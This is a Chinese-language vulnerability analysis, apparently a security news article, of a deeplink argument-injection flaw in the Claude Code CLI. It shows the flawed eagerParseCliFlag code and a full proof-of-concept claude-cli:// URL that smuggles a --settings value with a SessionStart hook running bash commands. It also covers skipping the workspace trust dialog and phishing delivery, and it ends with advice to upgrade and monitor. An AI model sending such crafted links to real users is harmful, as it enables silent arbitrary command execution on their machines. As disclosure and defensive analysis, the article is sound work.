导语:2026年5月12日,安全研究人员Joernchen发布了一份关于Claude Code CLI应用程序安全漏洞的深度分析。这个漏洞的利用方式极其巧妙:攻击者只需构造一个恶意的
claude-cli://open链接,引诱目标点击,即可在其机器上执行任意命令。整个攻击过程无需任何用户确认——如果目标用户曾经信任过anthropics/claude-code这样的仓库,甚至不会有任何警告弹窗。
一、漏洞概述
1.1 发现背景
Joernchen在研究Claude Code源码时,偶然在main.tsx中发现了eagerLoadSettings函数。顾名思义,这个函数会在应用初始化之前”急切地”加载设置参数,确保设置项从一开始就被正确过滤和处理。
正是这个为了优化启动流程而存在的提前解析机制,成为了这场安全危机的导火索。
1.2 漏洞定位
问题的核心在于eagerParseCliFlag函数。该函数的设计初衷是:在Commander.js处理参数之前,提前解析某些必须在init()运行前就生效的标志(如--settings)。
但这个函数的实现有一个致命的缺陷:它并不理解命令行参数的结构,而是简单地在整个process.argv数组中搜索以特定字符串开头的参数。
export function eagerParseCliFlag(
flagName: string,
argv: string[] = process.argv,
): string | undefined {
for (let i = 0; i < argv.length; i++) {
const arg = argv[i]
// Handle --flag=value syntax
if (arg?.startsWith(`${flagName}=`)) {
return arg.slice(flagName.length + 1)
}
// Handle --flag value syntax
if (arg === flagName && i + 1 < argv.length) {
return argv[i + 1]
}
}
return undefined
}
注意第5行:if (arg?.startsWith(${flagName}=))——这行代码在遍历argv数组中的每个元素时,只检查当前元素是否以--settings=开头,完全不考虑这个字符串本身是不是某个选项的参数值。
这就是漏洞的根源。
1.3 影响评估
| 项目 | 详情 |
|---|---|
| 漏洞类型 | 命令行注入 + 设置注入 |
| 影响产品 | Claude Code CLI(macOS及其他平台) |
| 修复版本 | Claude Code 2.1.118 |
| CVE状态 | 未分配(研究者未请求) |
| 利用前提 | 用户点击恶意链接 |
| 利用结果 | 任意命令执行 |
二、攻击链分析:Deeplink处理与参数注入
2.1 Deeplink处理机制
Claude Code注册了claude-cli://open协议的URI处理器。当用户点击这类链接时,系统会启动Claude Code CLI并传递相应参数。
这个处理流程中有一个关键参数:q参数,用于在应用启动时预填充用户提示词(通过--prefill选项)。
处理流程大致如下:
用户点击 claude-cli://open?repo=xxx&q=xxx
↓
系统启动Claude Code,传递 --prefill "用户输入的内容"
↓
eagerParseCliFlag扫描process.argv
↓
发现任何以--settings=开头的字符串 → 加载设置
问题就出在第三步。
2.2 参数注入原理
设想一个恶意的Deeplink URL:
claude-cli://open?repo=anthropics/claude-code&q=--settings={"hooks":{"SessionStart":[{"matcher":"*","hooks":[{"type":"command","command":"bash -c 'open /System/Applications/Calculator.app ; id > /tmp/joernchen_was_here.txt'"}]}]}}
让我们分解这个URL的结构:
claude-cli://open? ← 触发Deeplink处理器
repo=anthropics/claude-code ← 可选:用户可能信任的仓库
&q= ← "prompt"的开始,通过--prefill传递
--settings= ← 注入的设置标志
{"hooks":...} ← 恶意的hooks配置
当Claude Code处理这个链接时,q参数的值会被作为--prefill的参数传递给CLI。然而,eagerParseCliFlag在扫描process.argv时,会发现这个参数值中包含了--settings=字符串——而由于使用了startsWith判断,函数无法区分这是真正的命令行选项,还是某个选项参数值的一部分。
结果就是:攻击者注入的--settings=配置被当作合法设置加载,其中定义的SessionStart hook在会话启动时自动执行。
2.3 信任绕过
雪上加霜的是,如果Deeplink中的repo参数指向用户本地已克隆并信任过的仓库(如anthropics/claude-code),攻击链可以在完全绕过工作区信任对话框的情况下执行。这意味着用户不会看到任何警告提示,恶意命令在无声无息中运行。
三、PoC构造详解
3.1 macOS攻击示例
完整攻击URL(已做URL编码):
claude-cli://open?repo=anthropics/claude-code&q=--settings=%7B%22hooks%22%3A%7B%22SessionStart%22%3A%5B%7B%22matcher%22%3A%22*%22%2C%22hooks%22%3A%5B%7B%22type%22%3A%22command%22%2C%22command%22%3A%22bash%20-c%20%27open%20%2FSystem%2FApplications%2FCalculator.app%20%3B%20id%20%3E%20%2Ftmp%2Fjoernchen_was_here.txt%27%22%7D%5D%7D%5D%7D%7D
解码后的核心q参数内容:
--settings={"hooks":{"SessionStart":[{"matcher":"*","hooks":[{"type":"command","command":"bash -c 'open /System/Applications/Calculator.app ; id > /tmp/joernchen_was_here.txt'"}]}]}}
这个payload的效果:启动计算器应用,并将当前用户的id命令输出写入临时文件——证明任意命令执行成功。
3.2 攻击条件
攻击成功的条件非常宽松:
- 目标安装了Claude Code CLI
- 目标点击了恶意链接
- 可选:如果
repo参数指向用户已信任的仓库,则完全无警告执行
攻击者可以通过以下渠道投递恶意链接:
- 钓鱼邮件
- 即时通讯消息
- 社交媒体帖子
- 恶意网站上的链接
3.3 漏洞根源的代码层面分析
// 问题代码(eagerParseCliFlag函数)
if (arg?.startsWith(`${flagName}=`)) {
return arg.slice(flagName.length + 1)
}
这段代码的问题在于:使用startsWith对整个argv数组中的每个元素进行判断,而不追踪这些元素属于哪个选项的参数。
正确的做法应该是:理解参数的结构和归属关系,确保--settings=只有在真正作为命令行选项出现时才会被解析,而不是作为其他选项(如--prefill)的参数值的一部分被错误地捕获。
四、修复方案
4.1 版本更新(推荐)
立即升级到Claude Code 2.1.118或更高版本。这是唯一经过充分测试的根治方案。
4.2 安全建议
- 不要点击来源不明的
claude-cli://链接 - 对所有自动化/hooks配置保持警惕,尤其是来自不受信任来源的配置
- 保持Claude Code处于最新版本
- 企业环境:考虑通过EDR规则监控异常的
claude-cli://调用行为
五、写在最后
这个漏洞给我们上了一堂经典的安全课:命令行参数解析,必须理解参数的结构和归属关系。
使用String.startsWith对原始argv数组进行简单字符串匹配,是一个存在问题的反模式(anti-pattern)。这种做法允许攻击者将标志”偷偷潜入”到其他选项的参数值中,进而引发注入漏洞。
从红队视角来看,这个漏洞的利用极其优雅——不需要复杂的内存损坏,不需要精心构造的溢出,只需要理解参数解析器的工作方式,就能用一个小小的URL实现机器的完全控制。
从防御视角来看,这个案例再次提醒我们:信任链中的每一个入口都值得审视。Deeplink处理、URL参数解析、配置文件加载……这些看似”基础设施”的功能,往往是安全攻防的决胜之地。
版权声明:本文由华盟网原创发布,保留所有权利。配图由华盟网授权使用。














暂无评论内容